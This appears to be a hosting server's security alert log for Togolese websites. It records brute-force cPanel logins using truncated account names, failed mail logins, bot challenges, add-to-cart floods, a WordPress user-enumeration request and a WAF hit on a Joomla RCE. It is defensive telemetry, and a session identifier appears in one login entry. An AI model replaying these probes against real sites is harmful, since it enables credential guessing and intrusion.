43.173.180.175 - - [27/Jun/2026:10:19:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10395498&pdata=https%253A%252F%252Fmacite.tg%252F2026%252F06%252F26%252Felectricite-33-338-personnes-a-raccorder-dans-la-region-des-plateaux-en-2026%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782555561 HTTP/1.1" 404 561 macite.tg "https://macite.tg/2026/06/26/electricite-33-338-personnes-a-raccorder-dans-la-region-des-plateaux-en-2026/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.180.175


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.182.23
country_id: 1880251
description:
43.173.182.23 - - [27/Jun/2026:10:19:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12753813&pdata=https%253A%252F%252F24heureinfo.tg%252Feconomie%252Faftar-toure-morou-veut-veiller-a-la-transparence-dans-les-marches-publics%252Ffeed&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782555569 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/economie/aftar-toure-morou-veut-veiller-a-la-transparence-dans-les-marches-publics/feed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.182.23


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 23.234.101.155
country_id: 6252001
description:
[2026-06-27 10:23:28 +0000] info [cpaneld] 23.234.101.155 - letabloid "GET /login/?login_only=1&user=letabloid&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user letabloid (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 75.110.131.141
country_id: 6252001
description:
[2026-06-27 10:23:30 +0000] info [cpaneld] 75.110.131.141 - letabloidtg "GET /login/?login_only=1&user=letabloidtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user letabloidtg (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.245.241.177
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/869068608 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.27.169.57
country_id: 6252001
description:
[2026-06-27 10:23:39 +0000] info [cpaneld] 73.27.169.57 - letabl "GET /login/?login_only=1&user=letabl&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user letabl (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.57.87.213
country_id: 6252001
description:
[2026-06-27 10:23:47 +0000] info [cpaneld] 73.57.87.213 - leta "GET /login/?login_only=1&user=leta&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user leta (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.197.6.123
country_id: 6252001
description:
[2026-06-27 10:23:25 +0000] info [cpaneld] 68.197.6.123 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 66.176.13.151
country_id: 6252001
description:
[2026-06-27 10:23:33 +0000] info [cpaneld] 66.176.13.151 - letabloi "GET /login/?login_only=1&user=letabloi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user letabloi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.172.154.91
country_id: 6252001
description:
[2026-06-27 10:27:01 +0000] info [cpaneld] 71.172.154.91 - mesyscomcom "GET /login/?login_only=1&user=mesyscomcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscomcom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 206.245.176.156
country_id: 6252001
description:
[2026-06-27 10:27:12 +0000] info [cpaneld] 206.245.176.156 - mes "GET /login/?login_only=1&user=mes&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mes (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.227.192.89
country_id: 6252001
description:
[2026-06-27 10:26:56 +0000] info [cpaneld] 68.227.192.89 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 74.244.147.5
country_id: 6252001
description:
[2026-06-27 10:27:09 +0000] info [cpaneld] 74.244.147.5 - mesy "GET /login/?login_only=1&user=mesy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesy (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.96.15.76
country_id: 6252001
description:
[2026-06-27 10:26:58 +0000] info [cpaneld] 24.96.15.76 - mesyscom "GET /login/?login_only=1&user=mesyscom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.58.240.194
country_id: 6252001
description:
[2026-06-27 10:27:14 +0000] info [cpaneld] 172.58.240.194 - me "GET /login/?login_only=1&user=me&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user me (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.47
country_id: 6252001
description:
205.169.39.47 - - [27/Jun/2026:10:29:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10067055&pdata=http%253A%252F%252Fxqr2qh.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782556189 HTTP/1.1" 302 0 xqr2qh.mediatopnews.tg "http://xqr2qh.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.47


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.65.190.48
country_id: 2661886
description:
2026-06-27 10:30:01 dovecot_login authenticator failed for H=213-65-190-48-no2550.tbcn.telia.com ([218.21.37.250]) [213.65.190.48]:34592: 535 Incorrect authentication data (set_id=contact)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.65.190.48
country_id: 2661886
description:
Jun 27 10:29:59 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.65.190.48 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.126.10
country_id: 337996
description:
2026-06-27 10:29:28 dovecot_login authenticator failed for H=([211.175.71.57]) [196.189.126.10]:43710: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.181.203
country_id: 1880251
description:
43.173.181.203 - - [27/Jun/2026:10:31:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10120090&pdata=http%253A%252F%252Ftogodailynews.tg%252Fpartenariat-togo-banque-mondiale-le-president-du-conseil-recoit-trois-vice-presidents%252Ffeed&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782556289 HTTP/1.1" 404 561 togodailynews.tg "http://togodailynews.tg/partenariat-togo-banque-mondiale-le-president-du-conseil-recoit-trois-vice-presidents/feed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.181.203


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.50
country_id: 6252001
description:
205.169.39.50 - - [27/Jun/2026:10:31:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7063962&pdata=https%253A%252F%252Ftogofarm.tg%252Ffr%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782556300 HTTP/2.0" 302 0 togofarm.tg "https://togofarm.tg/fr/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.50


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 216.26.240.187
country_id: 3469034
domain: mail.zephyr.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mail.zephyr.tg/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 27.34.68.88
country_id: 1282988
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/714748072 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.139.229.110
country_id: 2017370
description:
[2026-06-27 10:35:52 +0000] info [cpaneld] 5.139.229.110 - mafisteel "GET /login/?login_only=1&user=mafisteel&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafisteel (has_cpuser_file failed)


plugin: modsec
rule: 77209353
abuser: 157.15.40.58
country_id: 1643084
domain: wellcity.tg
name:
IM360 WAF: Unauthenticated file upload / RCE in Joomla SP Page Builder asset.uploadCustomIcon (CVE-2026-48908)

description:
IM360 WAF: Unauthenticated file upload / RCE in Joomla SP Page Builder asset.uploadCustomIcon (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/index.php||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 146.158.100.117
country_id: 2017370
description:
[2026-06-27 10:35:48 +0000] info [cpaneld] 146.158.100.117 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.78.28.135
country_id: 2017370
description:
[2026-06-27 10:36:11 +0000] info [cpaneld] 91.78.28.135 - maf "GET /login/?login_only=1&user=maf&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user maf (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 146.120.203.16
country_id: 2017370
description:
[2026-06-27 10:36:13 +0000] info [cpaneld] 146.120.203.16 - ma "GET /login/?login_only=1&user=ma&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ma (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 31.185.8.165
country_id: 2017370
description:
[2026-06-27 10:35:57 +0000] info [cpaneld] 31.185.8.165 - mafistee "GET /login/?login_only=1&user=mafistee&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafistee (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 193.17.251.131
country_id: 3077311
description:
[2026-06-27 10:35:59 +0000] info [cpaneld] 193.17.251.131 - mafiste "GET /login/?login_only=1&user=mafiste&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafiste (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 154.111.144.161
country_id: 2464461
description:
[2026-06-27 10:36:06 +0000] info [cpaneld] 154.111.144.161 - mafi "GET /login/?login_only=1&user=mafi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.56.228.89
country_id: 953987
description:
[2026-06-27 10:35:55 +0000] info [cpaneld] 41.56.228.89 - mafisteeltg "GET /login/?login_only=1&user=mafisteeltg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafisteeltg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 149.50.194.63
country_id: 3658394
description:
[2026-06-27 10:36:01 +0000] info [cpaneld] 149.50.194.63 - mafist "GET /login/?login_only=1&user=mafist&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafist (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.208.30.11
country_id: 2921044
description:
[2026-06-27 10:36:03 +0000] info [cpaneld] 92.208.30.11 - mafis "GET /login/?login_only=1&user=mafis&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mafis (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 31.56.56.237
country_id: 1643084
description:
[2026-06-27 10:36:15 +0000] info [cpaneld] 31.56.56.237 - aogodmm "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.182.201
country_id: 1880251
description:
43.173.182.201 - - [27/Jun/2026:10:36:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7182440&pdata=https%253A%252F%252F24heureinfo.tg%252Fwp-json%252Foembed%252F1.0%252Fembed%253Furl%253Dhttps%25253A%25252F%25252F24heureinfo.tg%25252Ftechweb%25252Flarcep-togo-a-lavant-garde-de-la-gestion-saine-du-wifi-zone%25252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782556598 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/wp-json/oembed/1.0/embed?url=https%3A%2F%2F24heureinfo.tg%2Ftechweb%2Flarcep-togo-a-lavant-garde-de-la-gestion-saine-du-wifi-zone%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.182.201


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 43.172.197.186
country_id: 1880251
domain: soena.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/shop/bouffe/pizzavi/pizza-pizzavi/5-fromages/?add-to-cart=1999||QS:add-to-cart=1999||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.14
country_id: 6252001
description:
205.169.39.14 - - [27/Jun/2026:10:38:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6724506&pdata=http%253A%252F%252Fv2lhxq.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782556697 HTTP/1.1" 302 0 v2lhxq.mediatopnews.tg "http://v2lhxq.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.14


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.176.189
country_id: 1880251
description:
43.173.176.189 - - [27/Jun/2026:10:40:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6396519&pdata=https%253A%252F%252Fsoena.tg%252Fproduct-category%252Fhomme%252F%253Fadd-to-cart%253D9022&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782556843 HTTP/1.1" 404 561 soena.tg "https://soena.tg/product-category/homme/?add-to-cart=9022" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.176.189


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.180.249
country_id: 1880251
description:
43.173.180.249 - - [27/Jun/2026:10:43:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13289578&pdata=https%253A%252F%252F24heureinfo.tg%252Finternational%252Fguillaume-soro-vous-dites-quil-est-fini-et-pourtant-vous-parlez-de-lui%252Ffeed&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782556981 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/international/guillaume-soro-vous-dites-quil-est-fini-et-pourtant-vous-parlez-de-lui/feed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.180.249


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 198.46.168.17
country_id: 6252001
domain: cafe.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/143.0.7499.169 Safari/537.36||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 213.55.79.195
country_id: 337996
description:
213.55.79.195 - - [27/Jun/2026:10:43:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6787939&pdata=https%253A%252F%252Fucao-uut.tg%252Fvariations-n1&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782557036 HTTP/2.0" 302 0 ucao-uut.tg "https://ucao-uut.tg/variations-n1" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.3967.1036 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:213.55.79.195


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 43.172.194.176
country_id: 1880251
domain: soena.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/product/canon-eos-1300d-rebel-t6-dslr-wi-fi-camera/?add-to-cart=549||QS:add-to-cart=549||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.166.248.160
country_id: 1880251
description:
[2026-06-27 10:47:25 +0000] info [cpaneld] 188.166.248.160 - myxlsnta "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.166.248.160
country_id: 1880251
description:
[2026-06-27 10:49:05 +0000] info [cpaneld] 188.166.248.160 - pduusmyf "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 102.64.220.39
country_id: 2363686
domain: togodailynews.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.21||T:APACHE||MV:/wp-json/wp/v2/users?context=view&who=authors&per_page=100&_fields=id%2Cname&_locale=user||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.38
country_id: 6252001
description:
205.169.39.38 - - [27/Jun/2026:10:50:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6986394&pdata=http%253A%252F%252Fowuls2.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782557406 HTTP/1.1" 302 0 owuls2.mediatopnews.tg "http://owuls2.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.38


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.84.147.45
country_id: 1861060
description:
2026-06-27 10:52:23 dovecot_login authenticator failed for H=121-84-147-45f1.osk1.eonet.ne.jp ([65.20.251.41]) [121.84.147.45]:48532: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.59.113.65
country_id: 6252001
description:
[2026-06-27 10:53:42 +0000] info [cpaneld] 172.59.113.65 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.217.222.130
country_id: 6252001
description:
[2026-06-27 10:53:47 +0000] info [cpaneld] 173.217.222.130 - mesyscomcom "GET /login/?login_only=1&user=mesyscomcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscomcom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 100.19.63.161
country_id: 6252001
description:
[2026-06-27 10:54:06 +0000] info [cpaneld] 100.19.63.161 - me "GET /login/?login_only=1&user=me&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user me (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.58.13.202
country_id: 6252001
description:
[2026-06-27 10:54:00 +0000] info [cpaneld] 172.58.13.202 - mesy "GET /login/?login_only=1&user=mesy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesy (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 67.20.9.176
country_id: 6252001
description:
[2026-06-27 10:53:45 +0000] info [cpaneld] 67.20.9.176 - mesyscom "GET /login/?login_only=1&user=mesyscom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.233.2.82
country_id: 6252001
description:
[2026-06-27 10:53:56 +0000] info [cpaneld] 71.233.2.82 - mesys "GET /login/?login_only=1&user=mesys&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesys (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 171.231.178.158
country_id: 1562822
domain: www.snb.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:171.231.178.158||TA:171.231.178.158||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.78.69.178
country_id: 1269750
description:
Jun 27 10:54:48 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.78.69.178 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.69.178
country_id: 1269750
description:
2026-06-27 10:54:50 dovecot_login authenticator failed for H=(AS61687-131-108-51-92.pronet.net.br) [182.78.69.178]:36534: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.202.80.152
country_id: 1835841
description:
2026-06-27 10:55:32 dovecot_login authenticator failed for H=([182.95.238.36]) [114.202.80.152]:40837: 535 Incorrect authentication data (set_id=contact)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.65.90.155
country_id: 3277605
description:
Jun 27 10:55:15 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.65.90.155 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.65.90.155
country_id: 3277605
description:
2026-06-27 10:55:17 dovecot_login authenticator failed for H=agencijaiiz1-155.bih.net.ba (177-0-238-161.bnut3703.dsl.brasiltelecom.net.br) [80.65.90.155]:42664: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 114.202.80.152
country_id: 1835841
description:
Jun 27 10:55:30 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 114.202.80.152 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.170.76.223
country_id: 2363686
description:
[2026-06-27 10:59:00 +0000] info [cpaneld] 196.170.76.223 NEW jvrzfkho:u51DVQIea7xIw7zz address=196.170.76.223,app=cpaneld,creator=jvrzfkho,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.146.238.81
country_id: 660013
description:
2026-06-27 10:58:20 dovecot_login authenticator failed for H=dyn-83-146-238-81.isp.vsp.fi ([220.178.246.43]) [83.146.238.81]:36859: 535 Incorrect authentication data (set_id=d.aubinor@afrique-distribution.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.41.207.112
country_id: 953987
description:
2026-06-27 10:58:36 dovecot_login authenticator failed for H=([193.46.192.20]) [196.41.207.112]:50426: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jun 27 10:59:41 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.14.1.120
country_id: 6252001
description:
2026-06-27 11:01:33 dovecot_login authenticator failed for H=d14-69-120-1.try.wideopenwest.com ([202.138.229.190]) [69.14.1.120]:54841: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 132.255.132.95
country_id: 3996063
domain: www.snb.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:132.255.132.95||TA:132.255.132.95||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.80.117.42
country_id: 6252001
description:
[2026-06-27 11:06:03 +0000] info [cpaneld] 174.80.117.42 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.232.149.9
country_id: 6252001
description:
[2026-06-27 11:06:06 +0000] info [cpaneld] 47.232.149.9 - mesyscom "GET /login/?login_only=1&user=mesyscom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.150.143.138
country_id: 6252001
description:
[2026-06-27 11:06:09 +0000] info [cpaneld] 47.150.143.138 - mesyscomcom "GET /login/?login_only=1&user=mesyscomcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscomcom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.92.125.25
country_id: 6252001
description:
[2026-06-27 11:06:13 +0000] info [cpaneld] 72.92.125.25 - mesysco "GET /login/?login_only=1&user=mesysco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesysco (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.30.223.193
country_id: 6252001
description:
[2026-06-27 11:06:16 +0000] info [cpaneld] 174.30.223.193 - mesysc "GET /login/?login_only=1&user=mesysc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesysc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 184.63.140.180
country_id: 6252001
description:
[2026-06-27 11:06:23 +0000] info [cpaneld] 184.63.140.180 - mesys "GET /login/?login_only=1&user=mesys&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesys (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 218.82.111.158
